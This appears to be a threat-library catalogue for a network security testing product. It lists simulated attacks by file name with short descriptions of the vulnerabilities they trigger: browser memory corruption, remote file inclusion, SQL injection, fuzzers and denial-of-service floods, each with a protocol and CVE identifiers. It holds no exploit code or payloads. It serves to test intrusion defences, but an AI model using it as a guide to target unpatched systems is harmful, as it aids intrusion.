 Detailed Description: Fuzzes Filename field by putting random string with ranging sizes in the filename field. OpCode is WRQ. Mode is mail
 Protocol Type: TFTP
 Threat Package: Fuzzing

Threat File Name: TSL20161108-39_Microsoft_Internet_Explorer_and_Edge_JSON.parse_Type_Confusion.xml
 Executive Description:
 Detailed Description:
 Protocol Type:

Threat File Name: FSC20040407-01_Macromedia_Flash_Player_LoadMovie_DoS.xml
 Executive Description: Macromedia Flash Player LoadMovie DoS
 Detailed Description: Macromedia Flash player plug-in is a multi-media module/plug-in for displaying Flash content within an HTML web page. A vulnerability exists in the way Macromedia Flash Player plug-in handles an object when it attempts to load a movie. A malicious attacker could crash a vulnerable Flash Player with a specially crafted script in a web page.
 Protocol Type: HTTP
 Threat Package: Standard

Threat File Name: FSC20090623-03_Google_Chrome_HTTP_Response_Handling_Memory_Corruption_IPv6.xml
 Executive Description: Google Chrome HTTP Response Handling Memory Corruption (IPv6 Version)
 Detailed Description: A memory corruption vulnerability exists in Google Chrome that could allow remote attackers to execute arbitrary code on a vulnerable system. The vulnerability is due to an error when handling malicious HTTP responses. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Chrome may terminate abnormally. (IPv6 Version)
 Protocol Type: HTTP/IPv6
 CVEID: [CVE-2009-2121](#)
 Threat Package: Standard

Threat File Name: FSC20100401-01_Novell_ZENworks_Configuration_Management_UploadServlet_Remote_Code_Execution.xml
 Executive Description: Novell ZENworks Configuration Management UploadServlet Remote Code Execution

Detailed Description:	A remote code execution vulnerability exists in Novell ZENworks Configuration Management. The vulnerability is due to insufficient input validation within the ZENworks Server's UploadServlet. Remote unauthenticated attackers can leverage this vulnerability to upload malicious files anywhere onto the target server. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the vulnerable system with the privileges of the Administrator user. In this case, the behaviour of the target machine is dependent on the intention of the malicious code.
Protocol Type:	HTTP/HTTPS
Threat Package:	Standard
Threat File Name:	TSL20111011-19_Microsoft_Internet_Explorer_Event_Handler_Use-After-Free.xml
Executive Description:	Microsoft Internet Explorer Event Handler Use-After-Free
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to the way deleted objects are handled. This can result in memory corruption. A remote attacker could exploit this vulnerability by enticing a target user to view a specially crafted webpage, or open a crafted Microsoft Office document that hosts the IE rendering engine and contains an ActiveX control marked "safe for initialization". A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-1997
Threat File Name:	ms_foxpro_activex_bof.xml
Executive Description:	Microsoft Visual FoxPro FPOLE.OCX ActiveX Control Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Microsoft Visual FoxPro FPOLE.OCX ActiveX Control, resulting in the execution of arbitrary code. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-4790
Threat Package:	Standard
Threat File Name:	NOOPudpAIX.xml
Executive Description:	UDP NOOP Variant AIX
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure more probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	sipinvitebadscemeto.xml
Executive Description:	SIP INVITE Bad Scheme To: Field
Detailed Description:	This threat sends out a SIP INVITE message with a To: field using a mailto: URI. This can confuse or crash a PBX that is not very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	yourfreescreeamer_rfi_IPv6.xml
Executive Description:	YourFreeScreamer 1.0 (serverPath) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. YourFreeScreamer is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3271
Threat Package:	Standard
Threat File Name:	ms05-026_help_IPv6.xml
Executive Description:	MS05-026 HTML Help Crash (IPv6 Version)
Detailed Description:	This threat causes a crash in Microsoft's Internet Explorer. This crash can be manipulated to cause remote code execution in the context of the user surfing the webpage. This threat mimics Internet Explorer requesting a malicious web page from a server and downloading the attack. Web servers typically listen on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1208
OSVDB:	17305
Threat Package:	Standard
Threat File Name:	FSC20080228-17_Symantec_Backup_Exec_for_Windows_Server_Scheduler_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Symantec Backup Exec for Windows Server Scheduler ActiveX Control Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the Symantec Backup Exec for Windows Servers (BEWS). The vulnerability is due to insufficient boundary checks in methods exposed by an ActiveX control of the Scheduler component. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation would allow code execution in the security context of the currently logged-in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-6016
Threat Package:	Standard
Threat File Name:	ms03-043.xml
Executive Description:	Microsoft Messenger Buffer Overflow
Detailed Description:	This threat attempts to execute code on the target Windows machine through a flaw in Microsoft Messaging. It targets Microsoft's DCOM system, which typically listens on port 135. This version of this threat will send out a ethernet JUMBO frame (MTU > 1500 bytes). This is useful for testing IPS that should be able to handle jumbo frames and buggy ethernet drivers.
Protocol Type:	DCOM
CVEID:	CVE-2003-0717
OSVDB:	10936
Threat Package:	Standard
Threat File Name:	TSL20110614-02_Microsoft_Office_Word_STSH_Record_Parsing_Memory_Corruption.xml
Executive Description:	Microsoft Office Word STSH Record Parsing Memory Corruption

Detailed Description:	A code execution vulnerability exists in Microsoft Office Word. The vulnerability is due to a memory corruption when parsing a specially crafted Word file. An attacker could exploit this vulnerability to execute arbitrary code in the context of the current user by enticing them to open a specially crafted Word document. Unsuccessful code execution attempts may crash the vulnerable application resulting in denial-of-service condition.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
Threat File Name:	FSC20100826-01_OpenLDAP_Modrdn_RDN_UTF-8_String_Code_Execution.xml
Executive Description:	OpenLDAP Modrdn RDN UTF-8 String Code Execution
Detailed Description:	OpenLDAP is a free, open source implementation of the Lightweight Directory Access Protocol (LDAP) which has been included with several common Linux distributions. A vulnerability has been reported in OpenLDAP. The vulnerability is due to a memory corruption when handling a UTF8 string via modrdn. A remote attacker could exploit this vulnerability by sending a malicious request via modrdn to connect to the target server. Successful exploitation would allow injection and execution of arbitrary code in the context of the affect service. Unsuccessful code injection attempts would cause termination of sldapd daemon resulting in a denial of service condition.
Protocol Type:	LDAP,LDAPS
CVEID:	CVE-2010-0211
Threat Package:	Standard
Threat File Name:	macosx_vpnd_dos.xml
Executive Description:	Apple MACOS X 10.5.0 (leopard) vpnd Remote Denial of Service Vulnerability
Detailed Description:	This threat uses a crafted packet to UDP port 4112 to cause a denial of service in the Apple Mac OS X 10.5 VPND service.
Protocol Type:	UDP
CVEID:	CVE-2007-6276
Threat Package:	Standard
Threat File Name:	TSL20140128-08_ESF_pfSense_Snort_snort_log_view_php_Information_Disclosure.xml
Executive Description:	ESF pfSense Snort snort_log_view.php Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in the pfSense Snort service. The vulnerability is due to insufficient validation of user-supplied input. A remote, authenticated attacker could use this vulnerability to retrieve valuable information from the server. Successful exploitation could lead to information disclosure in the security context of the root user.
Protocol Type:	HTTP,HTTPS
OSVDB:	102608
Threat File Name:	TSL20111018-13_Oracle_Outside_In_CorelDRAW_File_Parser_Integer_Overflow.xml
Executive Description:	Oracle Outside In CorelDRAW File Parser Integer Overflow
Detailed Description:	An integer overflow vulnerability that leads to a heap buffer overflow exists in Oracle Outside-In, a set of libraries used to decode many file formats. The vulnerability exists when handling CorelDRAW (.cdr) files. Oracle Outside-In is used by many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to process a malformed .cdr file. Depending on the application, user interaction may be required. Successful exploitation can result in arbitrary code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3541
Threat File Name:	vs-news_rfi.xml
Executive Description:	VS-News-System <= V1.2.1 (newsordner) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. VS-News-System is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	ie_bookmark_IPv6.xml
Executive Description:	IE Bookmark Javascript Injection (IPv6 Version)
Detailed Description:	This attack can inject Javascript into the favorites folder in IE, allowing it to run in local zone. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0500
OSVDB:	14025
Threat Package:	Standard
Threat File Name:	myphpcms_rfi.xml
Executive Description:	MyPHP CMS File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.MyPHP CMS is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20080818-06_Ipswitch_WS_FTP_Client_Format_String_Vulnerability_IPv6.xml
Executive Description:	Ipswitch WS_FTP Client Format String Vulnerability (IPv6 Version)
Detailed Description:	A format string vulnerability exists in the Ipswitch WS_FTP client FTP product. The vulnerability is due to the input validation flaw, when parsing a message received by the client from a remote FTP server. A remote attacker may entice the target user to connect to a malicious FTP server and exploit the vulnerability for code injection and execution under the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	FTP/IPv6
CVEID:	CVE-2008-3734
Threat Package:	Standard
Threat File Name:	ishopcart_overflow.xml
Executive Description:	Ishopcart Remote Buffer Overflow Vulnerability
Detailed Description:	This threat sends a crafted HTTP Get request to exploit a buffer overflow condition in Ishopcart. IShopcart is a web application that typically listens on Port 80
Protocol Type:	HTTP

CVEID:	CVE-2006-2814
OSVDB:	25970
Threat Package:	Standard
Threat File Name:	TSL20140205-01_WellinTech_Multiple_Products_kxClientDownload_ActiveX_Remote_Code_Execution_IPv6.xml
Executive Description:	WellinTech Multiple Products kxClientDownload ActiveX Remote Code Execution(IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in WellinTech multiple products. The vulnerability exists in ClientDownload.ocx ActiveX control and is due to insufficient sanitization of ProjectURL property.</para><para>A remote unauthenticated attacker can leverage this vulnerability to download and load an arbitrary DLL file from a remote location. This can lead to code execution under the context of the administrator.</para>
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPV6
CVEID:	CVE-2013-2827
OSVDB:	102135
Threat File Name:	TSL20170224-03_Dovecot_SASL_Authentication_Component_Denial_of_Service.xml
Executive Description:	Dovecot SASL Authentication Component Denial of Service
Detailed Description:	A denial of service vulnerability has been reported in the SASL authentication component of Dovecot server. The vulnerability is due to improper handling of username when processing SASL authentication if auth-policy component has been activated. A remote attacker could exploit this vulnerability by sending malicious requests to target server. Successful exploitation could result in a denial of service condition.
Protocol Type:	SMTP,SMTPS,IMAP,IMAPS,POP3,POP3S
CVEID:	CVE-2016-8652
Threat File Name:	web-news_rfi_IPv6.xml
Executive Description:	Web-News Template.PHP Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Web-News is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5053
OSVDB:	29106
Threat Package:	Standard
Threat File Name:	webtorrnt_sqli_IPv6.xml
Executive Description:	WebTorrent Remote SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP get request that contains malicious SQL commands to the affected server allowing for an attacker to change user and password data. WebTorrent is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-4238
Threat Package:	Standard
Threat File Name:	omniweb_fmt.xml
Executive Description:	OmniWeb Javascript alert() Format String Vulnerability
Detailed Description:	This threat simulates a client requesting a web page, and the server replying with a maliciously constructed HTML document. This page will trigger a format string vulnerability in the Javascript alert() function, which can allow execution of arbitrary code.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20141106-12_ManageEngine_EventLog_Analyzer_Hostdetails_Information_Disclosure_IPv6.xml
Executive Description:	ManageEngine EventLog Analyzer Hostdetails Information Disclosure IPv6 version
Detailed Description:	An information disclosure vulnerability exists in ManageEngine EventLog Analyzer. The vulnerability is due to a failure to restrict access to confidential data in the HostDataServlet servlet. A remote unauthenticated attacker can exploit the vulnerability to disclose administrator credentials. Tester should set variable \$destPort to 8400 before test.
Protocol Type:	HTTP.IPV6
CVEID:	CVE-2014-6039
OSVDB:	114344
Threat File Name:	TSL20121211-12_Microsoft_Windows_TrueType_Font_File_Parsing_Remote_Code_Execution.xml
Executive Description:	Microsoft Windows TrueType Font File Parsing Remote Code Execution
Detailed Description:	A code execution vulnerability has been reported in Microsoft Windows. The vulnerability is due to Windows improperly handling objects in memory when parsing crafted TrueType fonts. A remote, unauthenticated attacker can exploit this vulnerability to execute arbitrary code with kernel permissions.
Protocol Type:	HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS
CVEID:	CVE-2012-4786
OSVDB:	88320
Threat File Name:	TSL20131112-09_Microsoft_InformationCardSigninHelper_ActiveX_Remote_Code_Execution.xml
Executive Description:	Microsoft InformationCardSigninHelper ActiveX Remote Code Execution
Detailed Description:	The InformationCardSigninHelper ActiveX control has been deemed a security risk by Microsoft. As such, they recommend setting the kill bit for this control. Exploitation of the vulnerability in this control can result in remote code execution. An attacker can exploit this vulnerability by enticing a user to visit a malicious web site which uses the affected controls.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-3918
OSVDB:	99555
Threat File Name:	TSL20121109-07_VMware_OVF_Tool_Format_String_Vulnerability.xml
Executive Description:	VMware OVF Tool Format String Vulnerability

Detailed Description:	A format string vulnerability has been reported in VMware OVF Tool. The vulnerability is caused by insufficient sanitization when processing OVF files. By enticing a target user to open a crafted OVF file, a remote attacker can exploit this vulnerability to execute arbitrary code in the security context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2012-3569
OSVDB:	87117
Threat File Name:	FSC20101101-03_Apple_CUPS_IPP_Use-after-free_Memory_Corruption.xml
Executive Description:	Apple CUPS IPP Use-after-free Memory Corruption
Detailed Description:	A use-after-free memory corruption vulnerability exists in the implementation of Internet Printing Protocol (IPP) of the Common Unix Printing System (CUPS). This vulnerability is caused by improper handling of memory allocations and deallocations for multiple-valued attributes that have their values typed differently. A remote attacker can exploit this vulnerability by specially crafting a request to a CUPS server using the IPP protocol. Successful exploitation can result in execution of arbitrary code in the security context of the CUPS process or daemon, unsuccessful exploitation may result in a denial of service.
Protocol Type:	IPP
CVEID:	CVE-2010-2941
Threat File Name:	TSL20160119-23_Oracle_Application_Testing_Suite_DownloadServlet_reportName_Directory_Traversal_IPv6.xml
Executive Description:	Oracle Application Testing Suite DownloadServlet reportName Directory Traversal (IPv6 version)
Detailed Description:	A directory traversal vulnerability exists in the in Oracle's Application Testing Suite. The vulnerability is due to insufficient input validation while processing HTTP requests to the "/olt/download" URI. A remote unauthenticated attacker can exploit this vulnerability by sending a malicious request to the vulnerable server. Successful exploitation results in arbitrary file download from the target server.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2016-0476
Threat File Name:	phpBBAuthen.xml
Executive Description:	phpBB Authentication Bypass
Detailed Description:	This threat is an attempt to bypass authentication on a phpBB bulletin board application. This allows a user to use the website as an admin.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20090714-05_Microsoft_DirectShow_QuickTime_Atom_Size_Memory_Corruption.xml
Executive Description:	Microsoft DirectShow QuickTime Atom Size Memory Corruption
Detailed Description:	A remote code execution vulnerability is reported in Microsoft DirectShow QuickTime Movie Parser filter. The vulnerability is due to improperly input validation when handling crafted atom size value in QuickTime format files. Remote attackers could exploit this vulnerability by convincing a target user to open a malicious QuickTime media file. In an attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the logged in user. In an attack case where code injection is not successful, the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,SMTP,POP3
CVEID:	CVE-2009-1539
Threat File Name:	TSL20130621-02_Apple_QuickTime_enof_Atom_Parsing_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Apple QuickTime enof Atom Parsing Heap Buffer Overflow [IPv6, Version]
Detailed Description:	A heap buffer overflow vulnerability exists in Apple QuickTime. The vulnerability is due to improper validation of the size field of the enof atom in QuickTime movie files. A small enof size value can cause data to overflow into an adjacent buffer leading to a heap buffer overflow. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a maliciously crafted QuickTime movie file. This can lead to code execution in the context of the affected user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	IPv6, NFS, HTTP, HTTPS,IMAP, POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-0986
OSVDB:	93618
Threat File Name:	fuzz-HTTP-CONNECT_PrepndHTTPWithformats_IPv6.xml
Executive Description:	Fuzz HTTP CONNECT with filename prepended with %s (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20090623-03_Google_Chrome_HTTP_Response_Handling_Memory_Corruption.xml
Executive Description:	Google Chrome HTTP Response Handling Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Google Chrome that could allow remote attackers to execute arbitrary code on a vulnerable system. The vulnerability is due to an error when handling malicious HTTP responses. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Chrome may terminate abnormally.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-2121
Threat Package:	Standard
Threat File Name:	TSL20150310-38_Microsoft_Internet_Explorer_BuildAnimation_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer BuildAnimation Memory Corruption IPv6 version.
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an out-of-bounds access error during keyframe creation when processing CSS and HTML code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,IPv6

CVEID: [CVE-2015-0099](#)

Threat File Name: claroline2_IPv6.xml
Executive Description: Claroline SQL Injection 2 (IPv6 Version)
Detailed Description: This threat injects database commands through a flaw in the Claroline E-Learning Application. Claroline is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type: HTTP/IPv6
CVEID: [CVE-2005-1375](#)
OSVDB: [16531](#)
Threat Package: Standard

Threat File Name: TSL20111011-07_Microsoft_Windows_Font_Library_File_Buffer_Overflow.xml
Executive Description: Microsoft Windows Font Library File Buffer Overflow
Detailed Description: A buffer overflow vulnerability exists in Microsoft Windows operating system. The vulnerability is due to an input validation error when the kernel parses a .FON font file. Attackers can exploit this vulnerability by enticing a user to open a malformed .fon font file. Successful exploitation of this vulnerability would result in the execution of arbitrary code within the security privileges of the Windows kernel.
Protocol Type: HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,WebDAV
CVEID: [CVE-2011-2003](#)

Threat File Name: FSC20070508-22_Microsoft_Internet_Explorer_Table_Column_Memory_Corruption_IPv6.xml
Executive Description: Microsoft Internet Explorer Table Column Memory Corruption (IPv6 Version)
Detailed Description: A memory corruption vulnerability exists in the way Microsoft Internet Explorer handles changes in Table layouts. The vulnerability is a result of use of uninitialized array elements when processing table column objects inside HTML documents. An attacker can exploit this vulnerability for code execution by enticing a target user to open a malicious HTML document. Any code injected using this vulnerability would be executed in the security context of the currently logged in user. (IPv6 Version)
Protocol Type: HTTP/IPv6
CVEID: [CVE-2007-0944](#)
Threat Package: Standard

Threat File Name: phpbbxtra_rfi.xml
Executive Description: PhpbbXtra v2.0 (phpbb_root_path) Remote File Include Vulnerability
Detailed Description: This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpbbXtra is a web application that typically listens on port 80.
Protocol Type: HTTP
Threat Package: Standard

Threat File Name: hp_printservftp_dos.xml
Executive Description: Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow Vulnerability
Detailed Description: This threat crashes vulnerable HP Printer FTP Print Server via an excessively large LIST command. HP Printer FTP Print Server is an ftp server that typically listens on port 21.
Protocol Type: FTP
Threat Package: Standard

Threat File Name: TSL20140311-15_Microsoft_Internet_Explorer_TextRange_Use_After_Free_IPv6.xml
Executive Description: Microsoft Internet Explorer TextRange Use After Free(IPv6 Version)
Detailed Description: A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way TextRange objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type: HTTP,HTTPS
CVEID: [CVE-2014-0307](#)
OSVDB: [104304](#)

Threat File Name: CA_brightStor_b_bof.xml
Executive Description: Computer Associates BrightStor ARCserve Backup MediaSVR.EXE 191 Buffer Overflow Vulnerability (alternative payload)
Detailed Description: This threat demonstrates the bufferoverflow vulnerability in the computer associates brightstor arcserve mediasvr.exe executable, this threat is delivered on the proprietary port 111.
Protocol Type: Proprietary
CVEID: [CVE-2007-1785](#)
Threat Package: Standard

Threat File Name: InternetExplorerHeap.xml
Executive Description: Internet Explorer MS05-054 Unpatched Heap Exploit
Detailed Description: This threat exploits a known vulnerability in Internet Explorer. This problem was previously thought to be unexploitable and only a denial of service condition. Internet Explorer is a web browser that typically browses web sites on port 80. This is a client side attack that comes from the virtual server.
Protocol Type: HTTP
CVEID: [CVE-2005-1790](#)
OSVDB: [17094](#)
Threat Package: Standard

Threat File Name: FSC20090113-24_Oracle_Secure_Backup_Administration_Server_login.php_Command_Injection.xml
Executive Description: Oracle Secure Backup Administration Server login.php Command Injection
Detailed Description: There exists a command injection vulnerability in Oracle Secure Backup. The vulnerability is due to lack of sanitation of user supplied parameters when processing HTTP requests sent to CGI program login.php. Remote unauthenticated attackers can exploit this vulnerability by sending a crafted HTTP request to the target host. Successful exploitation would allow for arbitrary command execution in the security context of the user running the web server of Oracle Secure Backup. The behaviour of the target is entirely dependent on the intended function of the injected command.
Protocol Type: HTTPS
CVEID: [CVE-2008-5449](#)
Threat Package: Standard

Threat File Name:	TSL20170302-07_Trend_Micro_SafeSync_for_Enterprise_deviceTool.pm_get_device_info_SQL_Injection.xml
Executive Description:	Trend Micro SafeSync for Enterprise deviceTool.pm get_device_info SQL Injection
Detailed Description:	An SQL Injection vulnerability exists in Trend Micro's SafeSync for Enterprise deviceTool.pm page. The vulnerability is due to insufficient validation of the user-supplied role or device_id parameter when sending a query to get the information about a SafeSync storage device. A remote, authenticated, attacker could exploit this vulnerability by sending an HTTP request with a malicious SQL query to the target server. Successful exploitation could lead to arbitrary code execution in the security context of safesync.
Protocol Type:	HTTPS
Threat File Name:	FSC20100810-03_Microsoft_Office_Word_RTF_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office Word RTF Parsing Buffer Overflow (IPv6)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office Word. The vulnerability is due to insufficient data validation when parsing rich text data. This vulnerability may be exploited by remote attackers to execute arbitrary code on the target system by enticing a user to open a maliciously crafted file. In situations where code execution is successful the injected code will run within the security context of the currently logged in user. If code execution fails, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-1902
Threat File Name:	FSC20090220-01_Adobe_Multiple_Products_Embedded_JBIG2_Stream_Buffer_Overflow.xml
Executive Description:	Adobe Multiple Products Embedded JBIG2 Stream Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Adobe Reader and Acrobat. The vulnerability is due to insufficient input validation when processing embedded JBIG2 streams. A remote attacker can exploit this vulnerability by enticing the target user to open malicious PDF files. In an attack case where code injection is not successful, the affected Acrobat application parsing the malicious PDF document can terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2009-0658
Threat Package:	Standard
Threat File Name:	sipheadercseqdisagree.xml
Executive Description:	SIP Header and CSeq Disagree
Detailed Description:	This threat sends out a SIP INVITE message with the CSeq method set to REGISTER. This may confuse or crash a PBX that isn't very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	fuzz-TFTP_WRQ_MAIL_formatn_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_WRQ_MAIL_formatn.xml (IPv6 Version)
Detailed Description:	Fuzzes Mode field by appending %n to mail with ranging sizes. OpCode is WRQ. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20141007-06_PHP_Fileinfo_cdf_read_property_info_Denial_of_Service.xml
Executive Description:	PHP Fileinfo cdf_read_property_info Denial of Service
Detailed Description:	A denial of service vulnerability exists in PHP. It is due to an integer overflow error in the Fileinfo module while processing CDF files. This vulnerability exists because of an incomplete fix for CVE-2012-1571. A remote attacker can exploit the vulnerability by sending crafted CDF files to a web application running a vulnerable version of PHP. A successful attack will crash the application, which can cause a denial of service condition.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-3587
OSVDB:	79681
Threat File Name:	phpmyteam_rfi.xml
Executive Description:	phpMyTeam v2.0 <= (smileys_dir) Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpMyTeam is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5207
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_Filename_formats_WRQ.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_Filename_formats_WRQ.xml
Detailed Description:	Fuzzes Filename field by appending one or more of %s to the filename. OpCode is WRQ
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	FSC20071009-16_Microsoft_Windows_Kodak_Image_Viewer_Code_Execution.xml
Executive Description:	Microsoft Windows Kodak Image Viewer Code Execution
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Windows Kodak Image Viewer. The vulnerability is due to improper parsing of specially crafted image files, such as TIFF files. An attacker can exploit the vulnerability by constructing a specially crafted image and enticing a victim to open the malicious image with an affected version of product. Successful exploitation of this vulnerability would result in arbitrary code execution in the context of the logged-in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-2217
Threat Package:	Standard
Threat File Name:	altn_imap.xml
Executive Description:	ALT-N IMAP Daemon Denial of Service
Detailed Description:	This threat sends a malformed authenticate request to the IMAP daemon of ALT-N's MDAemon software package. It causes the application to stop responding to IMAP requests. IMAP servers typically listen on port 143.
Protocol Type:	IMAP

CVEID:	CVE-2004-2292
OSVDB:	19036
Threat Package:	Standard
Threat File Name:	vnc_authbypass.xml
Executive Description:	RealVNC Authentication Bypass Vulnerability
Detailed Description:	This threat send a crafted VNC packet which contains the message declaring the "NULL" authentication method, bypassing the authentication for the target machine. VNC is a remote administration application which typically listens on port 5800
Protocol Type:	VNC
Threat Package:	Standard
Threat File Name:	TSL20111213-03_Microsoft_Windows_Media_DVR-MS_File_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows Media DVR-MS File Memory Corruption(IPV6 VERSION)
Detailed Description:	A code execution vulnerability exists in Microsoft Windows Media Player and Windows Media Center. The vulnerability is due to an error while parsing specially crafted DVR-MS files. This vulnerability can be leveraged to inject and execute arbitrary code. Remote attackers can exploit this vulnerability by enticing target users to open a specially crafted DVR-MS file. Successful exploitation would lead to code execution in the context of the current user.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2011-3401
Threat File Name:	FSC20100608-23_Microsoft_Office_Excel_ExternName_Record_Parsing_Buffer_Overflow.xml
Executive Description:	Microsoft Office Excel ExternName Record Parsing Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to the way the vulnerable product parses Excel documents, allowing for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	
CVEID:	CVE-2010-1249
Threat Package:	Standard
Threat File Name:	DNSVersion.xml
Executive Description:	BIND Version Query
Detailed Description:	This threat queries a nameserver for its version information. Used by attackers to determine ways to attack an infrastructure based on vulnerabilities on that version of BIND.
Protocol Type:	DNS
Threat Package:	Standard
Threat File Name:	pegames_rfi.xml
Executive Description:	PEGames Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PEGame is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20110913-05_Microsoft_Office_Excel_BIFF5_Record_Parsing_Use_After_Free.xml
Executive Description:	Microsoft Office Excel BIFF5 Record Parsing Use After Free
